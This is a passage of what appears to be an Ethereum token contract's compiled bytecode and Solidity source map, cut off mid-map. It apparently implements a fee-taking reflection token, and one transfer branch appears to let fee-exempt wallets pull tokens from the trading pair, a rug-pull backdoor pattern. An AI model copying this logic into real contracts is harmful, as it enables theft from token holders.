565b5f546001600160a01b0316331461049b5760405162461bcd60e51b8152602060048201525f60248201526044015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105155760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6105216012600a6113c2565b61052f90633b9aca006113d0565b60145561053e6012600a6113c2565b61054c90633b9aca006113d0565b6015557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61057c6012600a6113c2565b61058a90633b9aca006113d0565b60405190815260200160405180910390a1565b5f6103be338484610721565b5f546001600160a01b031633146105db5760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6001600160a01b03811661060a5760405162461bcd60e51b8152602060048201525f6024820152604401610492565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382166106925760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6001600160a01b0383166106c15760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107505760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6001600160a01b03821661077f5760405162461bcd60e51b8152602060048201525f6024820152604401610492565b5f81116107a75760405162461bcd60e51b8152602060048201525f6024820152604401610492565b5f546001600160a01b038481169116148015906107d157505f546001600160a01b03838116911614155b15610978575f806107e130610443565b601354600254919250821015906001600160a01b03878116911614801561081657506003546001600160a01b03868116911614155b801561083a57506001600160a01b0385165f9081526011602052604090205460ff16155b1561086e5760145484111561084d575f80fd5b6015548461085a87610443565b61086491906113e7565b111561086e575f80fd5b6001600160a01b0386165f9081526011602052604090205460ff16156108c6576002546001600160a01b038087169116036108c657836108ad87610443565b10156108c6576108be858486610b02565b505050505050565b6001600160a01b0386165f9081526011602052604090205460ff1615801561090657506001600160a01b0385165f9081526011602052604090205460ff16155b801561090f5750805b80156109245750600454600160a01b900460ff165b801561093a5750600454600160a81b900460ff16155b801561095457506002546001600160a01b03878116911614155b156109745761096282610bf5565b4780156109725761097247610d65565b505b5050505b6002546001906001600160a01b038581169116148015906109a757506002546001600160a01b03848116911614155b806109ea57506001600160a01b0383165f9081526011602052604090205460ff16806109ea57506001600160a01b0384165f9081526011602052604090205460ff165b156109f657505f610a70565b6002546001600160a01b038581169116148015610a2157506003546001600160a01b03848116911614155b15610a3357600954600e55600854600d555b6002546001600160a01b038481169116148015610a5e57506003546001600160a01b03858116911614155b15610a7057600c54600e55600b54600d555b610a7c84848484610ddf565b50505050565b5f8184841115610aa55760405162461bcd60e51b815260040161049291906111b1565b505f610ab184866113fa565b95945050505050565b5f601254821115610ae65760405162461bcd60e51b8152602060048201525f6024820152604401610492565b5f610aef610e0d565b9050610afb8382610e2e565b9392505050565b5f805f805f80610b1187610e48565b6001600160a01b038f165f90815260066020526040902054959b50939950919750955093509150610b429087610e9d565b6001600160a01b03808b165f9081526006602052604080822093909355908a1681522054610b709086610eb7565b6001600160a01b0389165f90815260066020526040902055610b93818a8a610eee565b610b9d8483610f78565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610be291815260200190565b60405180910390a3505050505050505050565b6004805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c3b57610c3b61140d565b6001600160a01b03928316602091820292909201810191909152600354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c92573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb69190611421565b81600181518110610cc957610cc961140d565b6001600160a01b039283166020918202929092010152600354610cef9130911684610663565b60035460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d279085905f9086903090429060040161143c565b5f604051808303815f87803b158015610d3e575f80fd5b505af1158015610d50573d5f803e3d5ffd5b50506004805460ff60a81b1916905550505050565b6004805460ff60a81b1916600160a81b1790556017545f90610d9590606490610d8f908590610f9c565b90610e2e565b6004546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610dcd573d5f803e3d5ffd5b50506004805460ff60a81b1916905550565b80610dec57610dec610fe9565b610df7848484610b02565b80610a7c57610a7c601054600e55600f54600d55565b5f805f610e18611016565b9092509050610e278282610e2e565b9250505090565b5f610afb838360405180602001604052805f815250611098565b5f805f805f805f805f610e608a600e54600d546110c4565b9250925092505f610e6f610e0d565b90505f805f610e808e87878761110f565b919e509c509a509598509396509194505050505091939550919395565b5f610afb838360405180602001604052805f815250610a82565b5f80610ec383856113e7565b905083811015610afb5760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6016545f908190610f07906001600160a01b0316610443565b90505f610f14858561115a565b90508015610f2d5781600d54610f2a91906113fa565b92505b5f610f36610e0d565b90505f610f438883610f9c565b305f90815260066020526040902054909150610f5f9082610eb7565b305f908152600660205260409020555050505050505050565b601254610f859083610e9d565b601255600a54610f959082610eb7565b600a555050565b5f825f03610fab57505f6103c2565b5f610fb683856113d0565b905082610fc385836114ad565b14610afb5760405162461bcd60e51b8152602060048201525f6024820152604401610492565b600d54158015610ff95750600e54155b1561100057565b600d8054600f55600e80546010555f9182905555565b5f80806110256012600a6113c2565b61103390633b9aca006113d0565b601280549192506110609061104990600a6113c2565b61105790633b9aca006113d0565b60125490610e2e565b811015611090576012546012600a61107891906113c2565b61108690633b9aca006113d0565b9350935050509091565b939092509050565b5f81836110b85760405162461bcd60e51b815260040161049291906111b1565b505f610ab184866114ad565b5f8080806110d76064610d8f8988610f9c565b90505f6110e96064610d8f8a8a610f9c565b90505f611100836110fa8b85610e9d565b90610e9d565b99919850919650945050505050565b5f80808061111d8686610f9c565b90505f61112a8887610f9c565b90505f6111378a88610f9c565b90505f611148846110fa8486610e9d565b919b919a509198509650505050505050565b6001600160a01b038083165f8181526011602052604080822054600254868616845291832054929460ff91821615949216909114159116158383801561119d5750825b80156111a65750815b979650505050505050565b5f602080835283518060208501525f5b818110156111dd578581018301518582016040015282016111c1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611211575f80fd5b50565b5f8060408385031215611225575f80fd5b8235611230816111fd565b946020939093013593505050565b5f805f60608486031215611250575f80fd5b833561125b816111fd565b9250602084013561126b816111fd565b929592945050506040919091013590565b5f6020828403121561128c575f80fd5b8135610afb816111fd565b5f80604083850312156112a8575f80fd5b82356112b3816111fd565b915060208301356112c3816111fd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561131c57815f1904821115611302576113026112ce565b8085161561130f57918102915b93841c93908002906112e7565b509250929050565b5f82611332575060016103c2565b8161133e57505f6103c2565b8160018114611354576002811461135e5761137a565b60019150506103c2565b60ff84111561136f5761136f6112ce565b50506001821b6103c2565b5060208310610133831016604e8410600b841016171561139d575081810a6103c2565b6113a783836112e2565b805f19048211156113ba576113ba6112ce565b029392505050565b5f610afb60ff841683611324565b80820281158282048414176103c2576103c26112ce565b808201808211156103c2576103c26112ce565b818103818111156103c2576103c26112ce565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611431575f80fd5b8151610afb816111fd565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561148c5784516001600160a01b031683529383019391830191600101611467565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826114c757634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220e606425d1721881881a2804e65dae6a764f1e3383070b580e190d9d1310f129b64736f6c63430008160033

Deployed Bytecode Sourcemap

3224:10570:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5801:83;;;;;;;;;;-1:-1:-1;5871:5:0;;;;;;;;;;;;-1:-1:-1;;;5871:5:0;;;;5801:83;;;;;;;:::i;:::-;;;;;;;;7350:161;;;;;;;;;;-1:-1:-1;7350:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7350:161:0;1023:187:1;3461:41:0;;;;;;;;;;-1:-1:-1;3461:41:0;;;;-1:-1:-1;;;;;3461:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;3461:41:0;1215:229:1;6444:95:0;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;6444:95:0;1449:177:1;10410:251:0;;;;;;;;;;-1:-1:-1;10410:251:0;;;;;:::i;:::-;;:::i;5987:83::-;;;;;;;;;;-1:-1:-1;5987:83:0;;4160:2;2234:36:1;;2222:2;2207:18;5987:83:0;2092:184:1;3426:28:0;;;;;;;;;;-1:-1:-1;3426:28:0;;;;-1:-1:-1;;;;;3426:28:0;;;4782:32;;;;;;;;;;-1:-1:-1;4782:32:0;;;;;;4633:53;;;;;;;;;;;;;;;;6298:138;;;;;;;;;;-1:-1:-1;6298:138:0;;;;;:::i;:::-;;:::i;1732:148::-;;;;;;;;;;;;;:::i;:::-;;5629:164;;;;;;;;;;;;;:::i;4577:49::-;;;;;;;;;;;;;;;;1645:79;;;;;;;;;;-1:-1:-1;1683:7:0;1710:6;-1:-1:-1;;;;;1710:6:0;1645:79;;5892:87;;;;;;;;;;-1:-1:-1;5964:7:0;;;;;;;;;;;;-1:-1:-1;;;5964:7:0;;;;5892:87;;4507:57;;;;;;;;;;;;;;;;10249:153;;;;;;;;;;-1:-1:-1;10249:153:0;;;;;:::i;:::-;;:::i;6547:143::-;;;;;;;;;;-1:-1:-1;6547:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6655:18:0;;;6628:7;6655:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6547:143;1888:206;;;;;;;;;;-1:-1:-1;1888:206:0;;;;;:::i;:::-;;:::i;7350:161::-;7425:4;7442:39;183:10;7465:7;7474:6;7442:8;:39::i;:::-;-1:-1:-1;7499:4:0;7350:161;;;;;:::o;6444:95::-;6497:7;4431:13;4160:2;4431;:13;:::i;:::-;4418:26;;:10;:26;:::i;:::-;6517:14;;6444:95;:::o;10410:251::-;10499:4;10516:27;10526:4;10532:2;10536:6;10516:9;:27::i;:::-;10583:47;;;;;;;;;-1:-1:-1;10583:47:0;;;-1:-1:-1;;;;;10583:17:0;;;;:11;:17;;;;;183:10;10583:31;;;;;;;;;;10554:77;;10563:4;;183:10;;10583:47;;10619:6;;10583:35;:47::i;:::-;10554:8;:77::i;:::-;-1:-1:-1;10649:4:0;10410:251;;;;;:::o;6298:138::-;-1:-1:-1;;;;;6411:16:0;;6364:7;6411:16;;;:7;:16;;;;;;6391:37;;:19;:37::i;1732:148::-;1590:6;;-1:-1:-1;;;;;1590:6:0;183:10;1590:22;1582:35;;;;-1:-1:-1;;;1582:35:0;;5018:2:1;1582:35:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;1582:35:0;;;;;;;;;1839:1:::1;1823:6:::0;;1802:40:::1;::::0;-1:-1:-1;;;;;1823:6:0;;::::1;::::0;1802:40:::1;::::0;1839:1;;1802:40:::1;1870:1;1853:19:::0;;-1:-1:-1;;;;;;1853:19:0::1;::::0;;1732:148::o;5629:164::-;1590:6;;-1:-1:-1;;;;;1590:6:0;183:10;1590:22;1582:35;;;;-1:-1:-1;;;1582:35:0;;5018:2:1;1582:35:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;1582:35:0;4816:284:1;1582:35:0;4431:13:::1;4160:2;4431;:13;:::i;:::-;4418:26;::::0;:10:::1;:26;:::i;:::-;5683:12;:22:::0;4431:13:::1;4160:2;4431;:13;:::i;:::-;4418:26;::::0;:10:::1;:26;:::i;:::-;5716:16;:26:::0;5758:27:::1;4431:13;4160:2;4431;:13;:::i;:::-;4418:26;::::0;:10:::1;:26;:::i;:::-;5758:27;::::0;1595:25:1;;;1583:2;1568:18;5758:27:0::1;;;;;;;5629:164::o:0;10249:153::-;10320:4;10337:35;183:10;10361:2;10365:6;10337:9;:35::i;1888:206::-;1590:6;;-1:-1:-1;;;;;1590:6:0;183:10;1590:22;1582:35;;;;-1:-1:-1;;;1582:35:0;;5018:2:1;1582:35:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;1582:35:0;4816:284:1;1582:35:0;-1:-1:-1;;;;;1977:22:0;::::1;1969:35;;;::::0;-1:-1:-1;;;1969:35:0;;5018:2:1;1969:35:0::1;::::0;::::1;5000:21:1::0;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;1969:35:0::1;4816:284:1::0;1969:35:0::1;2041:6;::::0;;2020:38:::1;::::0;-1:-1:-1;;;;;2020:38:0;;::::1;::::0;2041:6;::::1;::::0;2020:38:::1;::::0;::::1;2069:6;:17:::0;;-1:-1:-1;;;;;;2069:17:0::1;-1:-1:-1::0;;;;;2069:17:0;;;::::1;::::0;;;::::1;::::0;;1888:206::o;6698:265::-;-1:-1:-1;;;;;6791:21:0;;6783:34;;;;-1:-1:-1;;;6783:34:0;;5018:2:1;6783:34:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6783:34:0;4816:284:1;6783:34:0;-1:-1:-1;;;;;6836:19:0;;6828:32;;;;-1:-1:-1;;;6828:32:0;;5018:2:1;6828:32:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6828:32:0;4816:284:1;6828:32:0;-1:-1:-1;;;;;6871:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6923:32;;1595:25:1;;;6923:32:0;;1568:18:1;6923:32:0;;;;;;;6698:265;;;:::o;7754:1854::-;-1:-1:-1;;;;;7842:18:0;;7834:31;;;;-1:-1:-1;;;7834:31:0;;5018:2:1;7834:31:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;7834:31:0;4816:284:1;7834:31:0;-1:-1:-1;;;;;7884:16:0;;7876:29;;;;-1:-1:-1;;;7876:29:0;;5018:2:1;7876:29:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;7876:29:0;4816:284:1;7876:29:0;7933:1;7924:6;:10;7916:23;;;;-1:-1:-1;;;7916:23:0;;5018:2:1;7916:23:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;7916:23:0;4816:284:1;7916:23:0;1683:7;1710:6;-1:-1:-1;;;;;7956:15:0;;;1710:6;;7956:15;;;;:32;;-1:-1:-1;1683:7:0;1710:6;-1:-1:-1;;;;;7975:13:0;;;1710:6;;7975:13;;7956:32;7952:1002;;;8005:13;8048:27;8078:24;8096:4;8078:9;:24::i;:::-;8155:17;;8201:13;;8048:54;;-1:-1:-1;8132:40:0;;;;-1:-1:-1;;;;;8193:21:0;;;8201:13;;8193:21;:55;;;;-1:-1:-1;8232:15:0;;-1:-1:-1;;;;;8218:30:0;;;8232:15;;8218:30;;8193:55;:77;;;;-1:-1:-1;;;;;;8253:17:0;;;;;;:13;:17;;;;;;;;8252:18;8193:77;8189:220;;;8310:12;;8300:6;:22;;8292:31;;;;;;8376:16;;8366:6;8350:13;8360:2;8350:9;:13::i;:::-;:22;;;;:::i;:::-;:42;;8342:51;;;;;;-1:-1:-1;;;;;8429:19:0;;;;;;:13;:19;;;;;;;;8425:132;;;8456:13;;-1:-1:-1;;;;;8456:19:0;;;:13;;:19;8452:103;;8501:6;8483:15;8493:4;8483:9;:15::i;:::-;:24;8479:74;;;8511:31;8524:2;8528:5;8535:6;8511:12;:31::i;:::-;8544:7;;;7754:1854;;;:::o;8479:74::-;-1:-1:-1;;;;;8578:19:0;;;;;;:13;:19;;;;;;;;8577:20;:42;;;;-1:-1:-1;;;;;;8602:17:0;;;;;;:13;:17;;;;;;;;8601:18;8577:42;:53;;;;;8623:7;8577:53;:68;;;;-1:-1:-1;8634:11:0;;-1:-1:-1;;;8634:11:0;;;;8577:68;:81;;;;-1:-1:-1;8650:8:0;;-1:-1:-1;;;8650:8:0;;;;8649:9;8577:81;:106;;;;-1:-1:-1;8670:13:0;;-1:-1:-1;;;;;8662:21:0;;;8670:13;;8662:21;;8577:106;8573:370;;;8704:37;8721:19;8704:16;:37::i;:::-;8788:21;8832;;8828:100;;8878:30;8886:21;8878:7;:30::i;:::-;8685:258;8573:370;7990:964;;;7952:1002;9028:13;;8984:4;;-1:-1:-1;;;;;9020:21:0;;;9028:13;;9020:21;;;;:44;;-1:-1:-1;9051:13:0;;-1:-1:-1;;;;;9045:19:0;;;9051:13;;9045:19;;9020:44;9019:92;;;-1:-1:-1;;;;;;9070:17:0;;;;;;:13;:17;;;;;;;;;:40;;-1:-1:-1;;;;;;9091:19:0;;;;;;:13;:19;;;;;;;;9070:40;9001:547;;;-1:-1:-1;9151:5:0;9001:547;;;9201:13;;-1:-1:-1;;;;;9193:21:0;;;9201:13;;9193:21;:55;;;;-1:-1:-1;9232:15:0;;-1:-1:-1;;;;;9218:30:0;;;9232:15;;9218:30;;9193:55;9189:165;;;9282:15;;9269:10;:28;9326:12;;9316:7;:22;9189:165;9380:13;;-1:-1:-1;;;;;9374:19:0;;;9380:13;;9374:19;:55;;;;-1:-1:-1;9413:15:0;;-1:-1:-1;;;;;9397:32:0;;;9413:15;;9397:32;;9374:55;9370:167;;;9463:16;;9450:10;:29;9508:13;;9498:7;:23;9370:167;9558:42;9571:4;9577:2;9581:6;9589:10;9558:12;:42::i;:::-;7823:1785;7754:1854;;;:::o;924:190::-;1010:7;1046:12;1038:6;;;;1030:29;;;;-1:-1:-1;;;1030:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1070:9:0;1082:5;1086:1;1082;:5;:::i;:::-;1070:17;924:190;-1:-1:-1;;;;;924:190:0:o;6078:212::-;6146:7;6185;;6174;:18;;6166:31;;;;-1:-1:-1;;;6166:31:0;;5018:2:1;6166:31:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6166:31:0;4816:284:1;6166:31:0;6208:19;6230:10;:8;:10::i;:::-;6208:32;-1:-1:-1;6258:24:0;:7;6208:32;6258:11;:24::i;:::-;6251:31;6078:212;-1:-1:-1;;;6078:212:0:o;9778:463::-;9863:15;9880:23;9905:13;9920:23;9945:13;9960;9977:19;9988:7;9977:10;:19::i;:::-;-1:-1:-1;;;;;10023:13:0;;;;;;:7;:13;;;;;;9862:134;;-1:-1:-1;9862:134:0;;-1:-1:-1;9862:134:0;;-1:-1:-1;9862:134:0;-1:-1:-1;9862:134:0;-1:-1:-1;9862:134:0;-1:-1:-1;10023:26:0;;9862:134;10023:17;:26::i;:::-;-1:-1:-1;;;;;10007:13:0;;;;;;;:7;:13;;;;;;:42;;;;10074:11;;;;;;;:32;;10090:15;10074;:32::i;:::-;-1:-1:-1;;;;;10060:11:0;;;;;;:7;:11;;;;;:46;10117:28;10129:5;10136:4;10068:2;10117:11;:28::i;:::-;10156:26;10169:5;10176;10156:12;:26::i;:::-;10213:2;-1:-1:-1;;;;;10198:35:0;10207:4;-1:-1:-1;;;;;10198:35:0;;10217:15;10198:35;;;;1595:25:1;;1583:2;1568:18;;1449:177;10198:35:0;;;;;;;;9851:390;;;;;;9778:463;;;:::o;13165:404::-;4961:8;:15;;-1:-1:-1;;;;4961:15:0;-1:-1:-1;;;4961:15:0;;;13264:16:::1;::::0;;13278:1:::1;13264:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13264:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13264:16:0::1;13240:40;;13309:4;13291;13296:1;13291:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13291:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13335:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13335:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13291:7;;13335:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13325:4;13330:1;13325:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13325:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13400:15:::1;::::0;13368:62:::1;::::0;13385:4:::1;::::0;13400:15:::1;13418:11:::0;13368:8:::1;:62::i;:::-;13441:15;::::0;:120:::1;::::0;-1:-1:-1;;;13441:120:0;;-1:-1:-1;;;;;13441:15:0;;::::1;::::0;:66:::1;::::0;:120:::1;::::0;13508:11;;13441:15:::1;::::0;13524:4;;13538::::1;::::0;13545:15:::1;::::0;13441:120:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4999:8:0;:16;;-1:-1:-1;;;;4999:16:0;;;-1:-1:-1;;;;13165:404:0:o;13577:177::-;4961:8;:15;;-1:-1:-1;;;;4961:15:0;-1:-1:-1;;;4961:15:0;;;13674:12:::1;:15:::0;4961;;13660:39:::1;::::0;13695:3:::1;::::0;13660:30:::1;::::0;:9;;:13:::1;:30::i;:::-;:34:::0;::::1;:39::i;:::-;13718:8;::::0;13710:36:::1;::::0;13641:58;;-1:-1:-1;;;;;;13718:8:0::1;::::0;13710:36;::::1;;;::::0;13641:58;;13718:8:::1;13710:36:::0;13718:8;13710:36;13641:58;13718:8;13710:36;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4999:8:0;:16;;-1:-1:-1;;;;4999:16:0;;;-1:-1:-1;13577:177:0:o;7519:227::-;7624:10;7619:33;;7636:16;:14;:16::i;:::-;7663:30;7676:4;7682:2;7686:6;7663:12;:30::i;:::-;7709:10;7704:34;;7721:17;12866:18;;12853:10;:31;12905:15;;12895:7;:25;12807:121;12635:164;12677:7;12698:15;12715;12734:19;:17;:19::i;:::-;12697:56;;-1:-1:-1;12697:56:0;-1:-1:-1;12771:20:0;12697:56;;12771:11;:20::i;:::-;12764:27;;;;12635:164;:::o;1122:106::-;1180:7;1207:13;1211:1;1214;1207:13;;;;;;;;;;;;:3;:13::i;11100:474::-;11159:7;11168;11177;11186;11195;11204;11225:23;11250:13;11265;11282:41;11294:7;11303:10;;11315:7;;11282:11;:41::i;:::-;11224:99;;;;;;11334:19;11356:10;:8;:10::i;:::-;11334:32;;11378:15;11395:23;11420:13;11437:47;11449:7;11458:5;11465;11472:11;11437;:47::i;:::-;11377:107;;-1:-1:-1;11377:107:0;-1:-1:-1;11377:107:0;-1:-1:-1;11536:15:0;;-1:-1:-1;11553:5:0;;-1:-1:-1;11560:5:0;;-1:-1:-1;;;;;11100:474:0;;;;;;;:::o;392:106::-;450:7;477:13;481:1;484;477:13;;;;;;;;;;;;:3;:13::i;232:152::-;290:7;;322:5;326:1;322;:5;:::i;:::-;310:17;;351:1;346;:6;;338:19;;;;-1:-1:-1;;;338:19:0;;5018:2:1;338:19:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;338:19:0;4816:284:1;10669:423:0;10810:6;;10755:11;;;;10800:17;;-1:-1:-1;;;;;10810:6:0;10800:9;:17::i;:::-;10777:40;;10828:13;10844:26;10856:5;10863:6;10844:11;:26::i;:::-;10828:42;;10885:8;10881:42;;;10911:12;10901:7;;:22;;;;:::i;:::-;10895:28;;10881:42;10934:19;10956:10;:8;:10::i;:::-;10934:32;-1:-1:-1;10977:13:0;10993:22;:5;10934:32;10993:9;:22::i;:::-;11067:4;11051:22;;;;:7;:22;;;;;;10977:38;;-1:-1:-1;11051:33:0;;10977:38;11051:26;:33::i;:::-;11042:4;11026:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;;;;;;10669:423:0:o;9616:154::-;9697:7;;:18;;9709:5;9697:11;:18::i;:::-;9687:7;:28;9740:11;;:22;;9756:5;9740:15;:22::i;:::-;9726:11;:36;-1:-1:-1;;9616:154:0:o;506:213::-;564:7;588:1;593;588:6;584:47;;-1:-1:-1;618:1:0;611:8;;584:47;641:9;653:5;657:1;653;:5;:::i;:::-;641:17;-1:-1:-1;686:1:0;677:5;681:1;641:17;677:5;:::i;:::-;:10;669:23;;;;-1:-1:-1;;;669:23:0;;5018:2:1;669:23:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;669:23:0;4816:284:1;12936:221:0;12985:7;;:12;:31;;;;-1:-1:-1;13001:10:0;;:15;12985:31;12981:44;;;12936:221::o;12981:44::-;13053:7;;;13035:15;:25;13092:10;;;13071:18;:31;-1:-1:-1;13113:11:0;;;;13135:14;12936:221::o;12370:257::-;12421:7;;;4431:13;4160:2;4431;:13;:::i;:::-;4418:26;;:10;:26;:::i;:::-;12504:7;;;12450:25;;-1:-1:-1;12536:20:0;;4431:13;;:2;:13;:::i;:::-;4418:26;;:10;:26;:::i;:::-;12536:7;;;:11;:20::i;:::-;12526:7;:30;12522:61;;;12566:7;;4160:2;4431;:13;;;;:::i;:::-;4418:26;;:10;:26;:::i;:::-;12558:25;;;;;;12370:257;;:::o;12522:61::-;12602:7;12611;;-1:-1:-1;12370:257:0;-1:-1:-1;12370:257:0:o;727:189::-;813:7;848:12;841:5;833:28;;;;-1:-1:-1;;;833:28:0;;;;;;;;:::i;:::-;-1:-1:-1;872:9:0;884:5;888:1;884;:5;:::i;12004:358::-;12099:7;;;;12153:28;12177:3;12153:19;:7;12165:6;12153:11;:19::i;:28::-;12137:44;-1:-1:-1;12192:13:0;12208:31;12235:3;12208:22;:7;12220:9;12208:11;:22::i;:31::-;12192:47;-1:-1:-1;12250:23:0;12276:29;12299:5;12276:18;:7;12192:47;12276:11;:18::i;:::-;:22;;:29::i;:::-;12250:55;12341:5;;-1:-1:-1;12348:5:0;;-1:-1:-1;12004:358:0;-1:-1:-1;;;;;12004:358:0:o;11582:414::-;11693:7;;;;11747:22;:5;11757:11;11747:9;:22::i;:::-;11731:38;-1:-1:-1;11780:13:0;11796:22;:5;11806:11;11796:9;:22::i;:::-;11780:38;-1:-1:-1;11829:15:0;11847:24;:7;11859:11;11847;:24::i;:::-;11829:42;-1:-1:-1;11882:23:0;11908:29;11931:5;11908:18;11829:42;11920:5;11908:11;:18::i;:29::-;11956:7;;;;-1:-1:-1;11982:5:0;;-1:-1:-1;11582:414:0;-1:-1:-1;;;;;;;11582:414:0:o;6971:371::-;-1:-1:-1;;;;;7084:20:0;;;7045:4;7084:20;;;:13;:20;;;;;;;7153:13;;7200:21;;;;;;;;;7045:4;;7084:20;;;;7083:21;;7153:13;;7144:22;;;;;7200:21;7199:22;7045:4;7083:21;7250:38;;;;;7267:21;7250:38;:56;;;;;7292:14;7250:56;7234:72;6971:371;-1:-1:-1;;;;;;;6971:371:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:416;3355:1;3392:5;3355:1;3406:270;3427:7;3417:8;3414:21;3406:270;;;3486:4;3482:1;3478:6;3474:17;3468:4;3465:27;3462:53;;;3495:18;;:::i;:::-;3545:7;3535:8;3531:22;3528:55;;;3565:16;;;;3528:55;3644:22;;;;3604:15;;;;3406:270;;;3410:3;3266:416;;;;;:::o;3687:806::-;3736:5;3766:8;3756:80;;-1:-1:-1;3807:1:1;3821:5;;3756:80;3855:4;3845:76;;-1:-1:-1;3892:1:1;3906:5;;3845:76;3937:4;3955:1;3950:59;;;;4023:1;4018:130;;;;3930:218;;3950:59;3980:1;3971:10;;3994:5;;;4018:130;4055:3;4045:8;4042:17;4039:43;;;4062:18;;:::i;:::-;-1:-1:-1;;4118:1:1;4104:16;;4133:5;;3930:218;;4232:2;4222:8;4219:16;4213:3;4207:4;4204